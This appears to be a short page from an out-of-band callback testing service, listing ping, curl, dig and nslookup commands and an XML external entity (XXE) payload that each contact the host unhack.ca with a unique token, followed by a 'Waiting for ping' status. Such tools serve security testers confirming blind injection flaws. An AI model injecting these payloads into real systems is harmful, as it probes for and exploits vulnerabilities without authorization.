$ ping -c1 -p 00d054277bf0597ec78d26a142b22100 unhack.ca
 
$ curl http://unhack.ca/p/d054277bf0597ec78d26a142b221
 
$ dig d054277bf0597ec78d26a142b221 @unhack.ca
 
$ dig d054277bf0597ec78d26a142b221.ns.unhack.ca
 
C:\> nslookup d054277bf0597ec78d26a142b221 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d054277bf0597ec78d26a142b221">]>
    <foo>&xxe;</foo>
Waiting for ping...